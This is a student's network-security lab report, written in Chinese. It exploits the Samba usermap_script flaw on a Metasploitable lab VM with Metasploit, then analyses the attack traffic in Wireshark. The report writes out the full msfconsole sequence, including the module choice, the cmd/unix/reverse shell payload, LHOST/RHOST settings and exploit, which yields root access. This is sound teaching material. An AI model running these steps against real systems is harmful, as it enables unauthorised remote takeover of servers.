20242825 2024-2025-2 《网络攻防实践》第七周作业
@
一. 实验内容
1.1 实验内容概述
(1)使用Metasploit进行Linux远程渗透攻击
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell;
④设置渗透攻击参数;
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
(2)攻防对抗实践
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
1.2 实验相关知识概述
1.Samba 服务漏洞原理
Samba 服务中,负责在 SAM 数据库更新用户口令的代码未对用户输入进行过滤,就传输给了/bin/sh 。当调用smb.conf中定义的外部脚本时,若通过对/bin/sh的 MS - RPC 调用提交恶意输入,攻击者就能以 nobody 用户权限执行任意命令 。此次实验利用的usermap_script安全漏洞,就是基于该原理,可被攻击者利用来获取目标 Linux 靶机的访问权限 。
2. Metasploit
①基本概念:Metasploit 是领先的开源渗透测试框架,由 H.D.Moore 在 2003 年发布 ,后被 Rapid7 收购。它具有模块化架构,主要模块包括渗透攻击模块(exploits)、攻击载荷模块(payloads)、辅助模块(auxiliary)等。渗透攻击模块用于针对特定漏洞发起攻击;攻击载荷模块负责在目标系统上执行特定操作,如获取远程 shell ;辅助模块可实现扫描、嗅探等功能 。
②使用流程:使用前需启动并配置数据库(如 PostgreSQL ),可通过systemctl start postgresql启动数据库 ,msfdb init初始化数据库。启动 Metasploit 可选择 msfconsole(命令行界面)、msfgui(图形界面)、msfweb(基于 Web 的界面 )等方式。以 msfconsole 为例,启动后通过一系列命令选择渗透攻击模块、攻击载荷,设置目标地址(RHOST )、本地地址(LHOST )等参数后执行攻击 。
二. 实验过程
2.1 使用Metasploit进行Linux远程渗透攻击
2.1.1 实验要求
使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
实践步骤如下:
①启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
②使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
③选择攻击PAYLOAD为远程shell;
④设置渗透攻击参数;
⑤执行渗透攻击;
⑥查看是否正确得到远程Shell,并查看获得的权限。
2.1.2 实验过程展示
实验环境配置:
由于上次实验中更改了网络配置,所以实验开始需更改配置。
打开编辑->虚拟网络编辑器->更改设置。
将桥接模式更改为自动:


由于上次实验中更改了kali虚拟机网络配置,所以实验开始需更改配置。
更改为VMnet0模式:


由于Metasploit虚拟机设置未更改,所以此处不用做出调试。
全部准备好后,打开虚拟机分别查看其IP地址。
kali虚拟机:

Metasploitable虚拟机:

测试连通性
对攻击机和靶机进行互ping,检查连通性。
这里需要注意的是需要打开蜜网网关,因为二者不在同一网段上。
| 虚拟机名称 | IP地址 |
|---|---|
| Kali攻击机 | 192.168.200.4 |
| Metasploitable靶机 | 192.168.200.130 |


出现问题
测试连通性不成功!
解决问题
ping不成功,吸取前面实验经验,全部调整为桥接模式进行实验:
①Metasploitable虚拟机:

更改为:

②kali虚拟机:

更改为:

同上述步骤一致,分别查询其IP地址:

总结如下:
| 虚拟机名称 | IP地址 |
|---|---|
| Kali攻击机 | 192.168.43.193 |
| Metasploitable靶机 | 192.168.200.130 |
还是ping不通:

最后还使用了静态地址的方式调试、询问老师等,还是未能解决。
最终决定使用其他同学的电脑进行实验!!!
重新开始实验
打开Kail以及Metasploitable虚拟机进行实验:


使用账号密码进行登陆成功后,查询相关IP地址:

总结实验环境如下:
| 虚拟机名称 | IP地址 |
|---|---|
| Kali攻击机 | 192.168.200.3 |
| Metasploitable靶机 | 192.168.200.123 |
测试连通性
测试攻击机与靶机之间的连通性:

发现连通不了,需要打开蜜网网关:

蜜网网关打开后,连通成功:


连通成功!
开始攻击!
进行攻击
上述准备工作全部完成,下面开始攻击。
使用以下命令在Kali攻击机中打开Metasploit工具:
msfconsole


在本次实验中,选择 exploit
exploit/multi/samba/usermap_script渗透攻击模块。
使用以下命令对该模块进行查找:
search usermap_script

使用一下命令启动该攻击模块:
use 0
or
use exploit/multi/samba/usermap_script
使用 use 0 进行启动:
使用 **use exploit/multi/samba/usermap_script ** 进行启动:
打开攻击模块后,与上次实验一样,使用以下命令查看攻击载荷:
show payloads



使用以下命令选择反弹攻击载荷(序号20)
set payload cmd/unix/reverse
or
set payload 20 //直接使用序号进行设置
使用set payload 20 选择
使用set payload cmd/unix/reverse 选择:
使用以下命令查看需要配置的参数
show options

使用以下命令进行参数设置,并再次使用show options命令进行检查:
set LHOST 192.168.200.3 //参数设置
set RHOST 192.168.200.123 //参数设置
show options


使用以下命令进行攻击:
exploit

发现攻击成功,能够获取到靶机的shell界面,且权限为root。
使用ifconfig命令查询IP进行检测:
可以看到的是与Metasploitable靶机IP地址一致。


则攻击成功!!!
2.2 攻防对抗实践
2.2.1 实验要求
攻击方:使用 Metasploit ,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方:使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
2.2.2 实验过程展示
实验环境与步骤和上述实验基本雷同,只不过加上了抓包分析步骤。
打开Metasploit虚拟机,使用以下命令:
search usermap //搜索漏洞
use exploit/multi/samba/usermap_script //对应脚本攻击
set payload cmd/unix/reverse //设置有效攻击载荷
set... //设置相关IP地址
exploit //进行攻击
这里不再进行二次叙述,实验详情可见2.1.2小节,
此处只进行攻击后的相关分析。

攻击成功后,使用以下命令进行shell权限账户及其所在权限信息的查看:
shell
id
whoami //查看当前权限账户


下面进行抓包分析。
开启Wireshark进行抓包分析:


使用以下命令进行数据包的筛选,筛选结果如下所示:
tcp.stream eq 0

①
以一个数据包为例:
分析可知攻击类型为SMB,攻击者IP为192.168.200.3,目标IP为192.168.200.123:

②
通过跟踪第一个SMB数据包的TCP流,可以分析得知:
攻击者为192.168.200.3,并从4444号端口进行攻击渗透,其余漏洞信息也可查看到。

右键选择Follow—>TCP流 进行详细信息查看:

可以看到攻击机利用4444端口与靶机建立telnet服务:


使用以下命令进行数据包的筛选,筛选结果如下所示:
tcp.stream eq 2
③
对一个TCP数据包分析:可得知ARP协议询问开始时间(即攻击发起时间)为2025年4月13日22:34 :

④
追踪对应的TCP流可以看见运行攻击指令之后输入的指令:
右键选择Follow—>TCP流 进行详细信息查看。



三. 学习中遇到的问题及解决
在这次实验中,主要问题有以下几点:
-
问题1:kali无法与Metasploit连接成功。
-
解决方案:花费很长时间仍不行,最后使用同学电脑进行实验,实验成功。详情可见2.1.2中第2小节。
-
问题2:在攻击成功后无法显示靶机对话框。
-
解决方案:重启虚拟机后重新进行实验即可。
四.学习感悟、思考等
在本次实验中,与上次实验类似的是实验目标主要是学习掌握网络攻防技术中如何使用msfconsole工具对于靶机的漏洞攻击,不同之处在于此次实验使用的是Metasploit虚拟机进行Linux远程渗透攻击。
实验期间,我深入了解了漏洞技术,并掌握了防范与应对漏洞攻击的举措,对Windows系统远程渗透攻击的认知更为透彻。同时,此次实验拓展了我在网络攻防技术领域的知识储备,强化了相关知识要点,为后续开展网络攻防实验筑牢根基。
参考资料
https://blog.csdn.net/weixin_55819433/article/details/146334695
https://blog.csdn.net/weixin_55819433/article/details/146058856?spm=1001.2014.3001.5502





浙公网安备 33010602011771号